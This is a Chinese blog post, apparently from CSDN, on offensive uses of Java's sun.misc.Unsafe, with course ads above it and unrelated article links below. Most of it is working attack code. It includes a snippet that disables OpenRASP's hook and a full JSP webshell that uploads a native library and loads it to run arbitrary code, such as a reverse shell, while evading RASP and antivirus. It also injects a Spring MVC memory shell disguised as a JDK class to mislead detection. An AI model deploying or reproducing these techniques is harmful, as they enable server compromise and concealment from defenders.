Python微信订餐小程序课程视频

https://edu.csdn.net/course/detail/36074

Python实战量化交易理财系统

https://edu.csdn.net/course/detail/35475
目录* 0 前言

  • 1 基本使用

    • 1.1 内存级别修改值
    • 1.2 创建对象
    • 1.3 创建VM Anonymous Class
  • 2 利用姿势
    • 2.1 修改值以关闭RASP等防御措施
    • 2.2 创建NativeLibrary对象实现webshell
    • 2.3 匿名的内存马
    • 2.4 shellcode和instrumentation对象构建
  • 3 总结
  • 参考:

0 前言

unsafe里面有很多好用的方法,比如allocateInstance可以直接创建实例对象,defineAnonymousClass可以创建一个VM匿名类(VM Anonymous Class),以及直接从内存级别修改对象的值。

1 基本使用

首先是获取Unsafe对象,一般使用反射获取Unsafe,否则会被Java安全机制拦截,代码如下

public static Unsafe getUnsafe() throws Exception{Class aClass = Class.forName("sun.misc.Unsafe");Constructor declaredConstructor = aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();return unsafe;}

1.1 内存级别修改值

这里首先要提到的是,在jvm中,对实例的Field进行了有规律的存储,具体可见JVM相关知识,而通过一个偏移量可以从内存中找到相应的Field值。在Unsafe中获取偏移量的方法是staticFieldOffset(Field var1)和objectFieldOffset(Field var1)这两个方法,输入一个Field对象后,会返回该Field在其相应的类中的内存偏移量是多少。通过获得的偏移量可进一步调用putInt、putLong、putObject等方法对实例的field进行修改。

例如:

package com.bitterz.unsafe;import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;public class UnsafeTest {private int a = 1;private String string = "whoami";public UnsafeTest(){}public void test(){    }public static void main(String[] args) throws Exception {Unsafe unsafe = getUnsafe();UnsafeTest unsafeTest = new UnsafeTest();// 修改intField f = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("a");long l = unsafe.objectFieldOffset(f);unsafe.putInt(unsafeTest, l, 9999);System.out.println(unsafeTest.a);// 修改stringField f2 = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("string");long l2 = unsafe.objectFieldOffset(f2);unsafe.putObject(unsafeTest, l2, "bitterz");System.out.println(unsafeTest.string);}public static Unsafe getUnsafe() throws Exception{Class aClass = Class.forName("sun.misc.Unsafe");Constructor declaredConstructor = aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();return unsafe;}
}

其输出结果为

但对final和static修饰的field这种修改方法无效。另外还可以通过偏移量使用getInt()、getObject()等方法获取实例的field值,这种方法也可以作为反射被限制时的一种绕过。

1.2 创建对象

Unsafe中有个allocateInstance方法,可以无视构造方法,直接利用类对象构建实例,这种方法往往能够减少反射创建实例时可能遇到的各种阻碍,比如类的依赖关系。

比如前面创建Unsafe时使用了反射,不能直接进行创建,那么可以使用unsafe进行创建(只是为了演示。。)

1.3 创建VM Anonymous Class

VM Anonymous Class并不等同于匿名类,这种类具有以下几个特点(摘自https://paper.seebug.org/1785):

1、class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。  ---将会使类名极具欺骗性
2、该class的classloader为null。  ---在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性

使用方法如下

defineAnonymousClass方法的第一个参数随便传入一个类对象即可,第二个参数需要传入一个类的字节码,这里使用javassist简单一点。第三个参数设置为null即可。

执行后得到一个类对象,通过newInstance获取实例,再调用了匿名类的toString方法,弹个计算器。而后输出匿名类的类名和Unsafe的类名进行对比,可见,用defineAnonymousClass创建的类名后面,会有"/xxxxxxxx",这里也算一个特征,但通过Class.forName是无法获取到这个类的,所以下面报错了。

用attach的方式,看看对该类的检测,之前写过rasp相关的笔记,所以直接拿过来用

transform里面拿到到该类后,直接报错了,看了一下报错日志,实际上就是在transform中返回字节码时出问题了,因为前面也说了在部分jdk中,VM AnonymousClass是不能被retransform的,我这里用的是jdk1.8u40。但是直接结束程序有点不太好,例如插入内存马后,目标使用attach机制来扫描jvm中加载的类,此时直接导致Web程序崩溃,业务不得提刀来杀安全:) 这个点用于内存马可能要慎重一下。

2 利用姿势

2.1 修改值以关闭RASP等防御措施

前面提到了,通过Unsafe可以直接修改值,因此在遇到目标有RASP得情况下,可以考虑修改RASP的开关;


try {Class clazz = Class.forName("com.baidu.openrasp.HookHandler");Unsafe unsafe = getUnsafe();InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");byte[] data = new byte[inputStream.available()];inputStream.read(data);Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);Field field = anonymousClass.getDeclaredField("enableHook");unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));} catch (Exception e) {}

或者使用rebeyond师傅提到的方法,手动构建insturmentation对象,然后对执行命令的类去掉RASP插桩代码。

2.2 创建NativeLibrary对象实现webshell

这里的思路来自于SummerSec师傅的文章,通过java.lang.ClassLoader$NativeLibrary#load(String, Boolean)方法,加载一个dll文件,而dll文件中可以实现各种攻击手段,例如上传了一个jsp文件,只用于加载dll,而不同的dll实现了内网穿透、反弹Shell、木马和执行命令等功能,攻击时上传对应dll文件即可。

借鉴https://github.com/SummerSec/Loader/blob/main/AddDllDemo.jsp ,又稍微改了一下代码,把上传文件和加载dll融合到了一个jsp里面

<%@page pageEncoding="utf-8"%>
"file" id="fielinput" />
![]()"txshow" style="width:100px;height:100px;"/>
解析之后的base64数据:
"data">"utf-8">"http://127.0.0.1:8080/test/AddDllDemo.jsp" method="POST">"text" style="width:1300px;height:100px;font-size:30px" name="p"/>"submit" value="提交"/>"text/javascript"</span>><span class="hljs-type">var</span> <span class="hljs-variable">input</span> <span class="hljs-operator">=</span> document.getElementById(<span class="hljs-string">"fielinput"</span>);
input.addEventListener(<span class="hljs-string">'change'</span>, readFile, <span class="hljs-literal">false</span>);
function <span class="hljs-title function\_">readFile</span><span class="hljs-params">()</span> {<span class="hljs-type">var</span> <span class="hljs-variable">file</span> <span class="hljs-operator">=</span> <span class="hljs-built\_in">this</span>.files[<span class="hljs-number">0</span>];<span class="hljs-type">var</span> <span class="hljs-variable">reader</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class\_">FileReader</span>(); <span class="hljs-comment">// 返回一个新的FileReader函数</span>reader.readAsDataURL(file);reader.onload = function (e) {txshow.src = <span class="hljs-built\_in">this</span>.result;document.getElementById(<span class="hljs-string">"data"</span>).innerText=<span class="hljs-built\_in">this</span>.result.substring(<span class="hljs-built\_in">this</span>.result.indexOf(<span class="hljs-string">','</span>)+<span class="hljs-number">1</span>);}
}
><%
if(request.getMethod().equals("GET")){}else{String p = request.getParameter("p");String t = request.getServletContext().getRealPath("/");java.io.PrintWriter outp = response.getWriter();outp.println("WebRootPath:");outp.println(t);t = request.getServletPath();outp.println("ServletPath:");outp.println(t);t = (new java.io.File(".").getAbsolutePath());outp.println("WebServerPath:");outp.println(t);java.util.Random random = new java.util.Random(System.currentTimeMillis());outp.println("if Dynamic Link Library will be auto load in uploading !!!");t = System.getProperty("os.name").toLowerCase();if (t.contains("windows")) {t = "C:/Windows/temp/dm" + random.nextInt(10000000) + "1.dll";}else {t = "/tmp/dm" + random.nextInt(10000000) + "1.so";}if (p != null) {try {java.io.FileOutputStream fos = new java.io.FileOutputStream(new java.io.File(t));fos.write(D(p));fos.close();N(t);outp.println("Dynamic Link Library is uploaded, and the path is: " + t);outp.println("load uploaded success !!!");} catch (Exception e) {outp.println(e.getMessage());}}outp.flush();outp.close();
}%><%!private void N(String t) throws Exception {Object o;Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");try {java.lang.reflect.Constructor c = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});c.setAccessible(true);o = c.newInstance(Class.class,t,true);}catch (Exception e){Class u = Class.forName("sun.misc.Unsafe");java.lang.reflect.Constructor c = u.getDeclaredConstructor();c.setAccessible(true);sun.misc.Unsafe un = (sun.misc.Unsafe)c.newInstance();o =  un.allocateInstance(a);}java.lang.reflect.Method method = o.getClass().getDeclaredMethod("load", String.class, boolean.class);method.setAccessible(true);method.invoke(o, t, false);}private byte[] D(String p) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[])(clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), p));} catch (Exception var5) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[])(decoder.getClass().getMethod("decode", String.class).invoke(decoder, p));}}
%>

浏览器访问AddDllDemo.jsp后,选择dll文件,并复制base64值到文本框中,点击提交

成功弹出计算器

使用Unsafe去创建NativeLibrary的有点在于可以减少在java层面的调用,直接一个load方法就能实现native层面的代码执行,可以绕过RASP或终端软件对webshell的查杀,以及java层面执行命令时被拦截的可能。

目前这种做法有个缺点在于DLL文件必须落地,显然落地就有可能被文件监控察觉到。另外实现这种做法的还有ClassLoader#loadLibraryClassLoader#loadLibrary0,利用反射即可实现不再赘述。期待大师傅们搞出无文件落地的姿势!

2.3 匿名的内存马

前面提到了使用Unsafe.defineAnonymousClass方法可以创建一个VM Anonymous Class,基于其各种特点,可以让内存马隐藏的更深

在springmvc中,插入servlet内存马时,只需要传入方法名和恶意类的实例对象,刚好适合这种Anonymous Class,pom.xml设置如下

<dependency><groupId>org.springframeworkgroupId><artifactId>spring-webartifactId><version>4.2.6.RELEASEversion>
dependency>
<dependency><groupId>org.springframeworkgroupId><artifactId>spring-webmvcartifactId><version>4.2.6.RELEASEversion>
dependency>
<dependency><groupId>org.springframeworkgroupId><artifactId>spring-contextartifactId><version>4.2.6.RELEASEversion>
dependency>
<dependency><groupId>org.springframeworkgroupId><artifactId>spring-testartifactId><version>4.2.6.RELEASEversion>
dependency>
<dependency><groupId>org.springframeworkgroupId><artifactId>spring-jdbcartifactId><version>4.2.6.RELEASEversion>
dependency>
<dependency><groupId>org.javassistgroupId><artifactId>javassistartifactId><version>3.19.0-GAversion>
dependency>

在spring_mvc中写个controller来注入,示例代码如下:

@ResponseBody
@RequestMapping(value = "/index", method = RequestMethod.GET)
public String index(HttpServletRequest request, HttpServletResponse response) throws Exception {// 准备unsafe和匿名类Class aClass = Class.forName("sun.misc.Unsafe");Constructor declaredConstructor = aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.makeClass("java.lang.String");CtMethod toString = CtMethod.make("public String toString(){java.lang.Runtime.getRuntime().exec(\"calc\");return null;}", ctClass);toString.setName("toString");ctClass.addMethod(toString);byte[] bytes = ctClass.toBytecode();Class anonymousClass = unsafe.defineAnonymousClass(File.class, bytes, null);// 插入内存马WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");field.setAccessible(true);Map urlLookup = (Map) field.get(mappingRegistry);Iterator urlIterator = urlLookup.keySet().iterator();String injectUrlPath = "/malicious"; // 插入的urlwhile (urlIterator.hasNext()){String urlPath = (String) urlIterator.next();if (injectUrlPath.equals(urlPath)){System.out.println("URL已存在");return "exist";}}// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method2 = anonymousClass.getDeclaredMethod("toString");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition(injectUrlPath);// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// InjectAnonymousClass InjectAnonymousClass = new InjectAnonymousClass("aaa");Object o = anonymousClass.newInstance();mappingHandlerMapping.registerMapping(info, o, method2);return "injected!";  // 这里根据注解会自动返回index.html
}

启动项目,然后访问该controller对应的url,结果如下

注入成功,访问/malicious

由于恶意代码里面只写了弹计算器,并没有写返回语句,所以tomcat寻找malicious.jsp会返回404。调试模式下看一下对该url的描述

只有在beanType处显示类名为java.lang.String/179284069,其它地方都显示为java.lang.String。匿名类的类名又可以随意设置,所以稍加修饰即可以假乱真,比如先拿到org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry,遍历其中,随便找一个controller的类名和方法名,然后回显一下,再给恶意类写个一样的package和方法名,url则根据Web应用的规律自己编一个,这样的话,还是能够欺骗到根据package和方法名判断的检测方法,另外VM Anonymous Class没办法获取到字节码,所以也能逃过一劫。

2.4 shellcode和instrumentation对象构建

Unsafe类还能对内存进行操作,在rebeyond师傅的文章-java内存攻击技术漫谈中有大量应用,最终可以通过内存级别的操作,直接构建instrumentation对象进而修改jvm中的java代码;或者执行shellcode,从而绕过RASP实现命令执行、文件读写等操作。

3 总结

Unsafe在java攻击层面属实非常有用,而其正常使用也非常广泛,例如gson反序列化时,直接使用allocateInstance创建对象,无视构造函数的复杂。Unsafe还有很多其它功能,不够安全人员可能用的比较少,我也借用一下这张传的最广泛的图:)

参考:

https://paper.seebug.org/1785

https://tttang.com/archive/1436/

https://blog.csdn.net/rebeyond/p/15162264.html

Java中的Unsafe在安全领域的一些应用总结和复现相关推荐

  1. Java中的Unsafe

    Java和C++语言的一个重要区别就是Java中我们无法直接操作一块内存区域,不能像C++中那样可以自己申请内存和释放内存.Java中的Unsafe类为我们提供了类似C++手动管理内存的能力. Uns ...

  2. Java中的Unsafe类

    1.Unsafe类介绍 Unsafe类是在sun.misc包下,不属于Java标准.但是很多Java的基础类库,包括一些被广泛使用的高性能开发库都是基于Unsafe类开发的,比如Netty.Hadoo ...

  3. 面试官:说说 Java 中的 Unsafe 和 CAS

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 来源 | https://urlify.cn/nAVjM ...

  4. java unsafe获取指针_【实战Java高并发程序设计 1】Java中的指针:Unsafe类

    是<实战Java高并发程序设计>第4章的几点. 如果你对技术有着不折不挠的追求,应该还会特别在意incrementAndGet() 方法中compareAndSet()的实现.现在,就让我 ...

  5. java 中random类使用_Java中的天使和魔鬼:Unsafe类

    我们在看ConcurrentHashMap源码时经常看到Unsafe类的使用,今天我们来了解下Unsafe类. Java是一个安全的编程语言,它能最大程度的防止程序员犯一些低级的错误(大部分是和内存管 ...

  6. C语言变量unsafe,Java中Unsafe使用详解

    Unsafe介绍 Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别.不安全操作的方法,如直接访问系统内存资源.自主管理内存资源等,这些方法在提升Java运行效率.增强Java ...

  7. Java中的天使和魔鬼sun.misc.Unsafe

    我们在看ConcurrentHashMap源码时经常看到Unsafe类的使用,今天我们来了解下Unsafe类. Java是一个安全的编程语言,它能最大程度的防止程序员犯一些低级的错误(大部分是和内存管 ...

  8. java中多线程之CAS(compareAndSet),Unsafe类大白话详解.

    java中多线程之CAS(compareAndSet),Unsafe类大白话详解 什么是CAS CAS原理 Unsafe类:     什么是CAS 比较并交换 在学习CAS之前,我们先了解一下JMM. ...

  9. Java中Unsafe类详解

    http://www.cnblogs.com/mickole/articles/3757278.html java不能直接访问操作系统底层,而是通过本地方法来访问.Unsafe类提供了硬件级别的原子操 ...

最新文章

  1. web本地存储-IndexedDB
  2. opencore0.6.3_大杨随笔2020.11.3
  3. 【数据结构-排序】1. 图解插入排序三种实现(插入排序/折半排序/希尔排序)
  4. GUI for git|SourceTree|入门基础
  5. aspx页面在运行的时候会自动产生当前页面类的一个子类。
  6. 大厂offer手到擒来,Java面试真题精选
  7. 设置dns_网络速度缓慢怎么办?轻松一键修改DNS设置让网速提升五倍
  8. ruby map, reduce, select, reject, group_by
  9. javascript对table的添加,删除行的操作
  10. 商业分析的50个网站和分析方法
  11. ①变量、常量、数据类型解释 ②标识符命原则 ③sizeof使用原则 ④float型科学计数法 ⑤字符转换到ASCII表 ⑥\t 的使用意义【黑马程序员视频】
  12. Hanoi Tower Troubles Again!
  13. 1bit和1byte_1字节=8bit bit到底是什么?
  14. 产品概念之4/4:产品包 —— 升维思考,降维打击
  15. 【数据集显示标注】VOC文件结构+数据集标注可视化+代码实现
  16. javascript 代码获取 QQ 群成员
  17. 为何要配置环境变量?
  18. 通过python获取自己的手机话费_Python批量获取并保存手机号归属地和运营商的示例...
  19. 第1年的放射学侵蚀进展是早期RA进一步侵蚀性进展的新预测指标
  20. oracle数据库空间预警,数据库系统预警机制

热门文章

  1. 采用合适的网站优化技术
  2. /etc/shadow 文件详解
  3. 熊猫数据集_用熊猫掌握数据聚合
  4. 亚洲国家互联网渗透率_发展中亚洲国家如何回应covid 19
  5. 在Java里如何给一个日期增加一天
  6. leetcode 1631. 最小体力消耗路径(并查集)
  7. hdu 过山车_从机械工程师到软件开发人员–我的编码过山车
  8. node aws 内存溢出_在AWS Elastic Beanstalk上运行生产Node应用程序的现实
  9. java开发简历编写_如何通过几个简单的步骤编写出色的初级开发人员简历
  10. restful解决什么问题_当您陷入RESTful,WordPress和一个困难的地方时,如何解决CMS问题...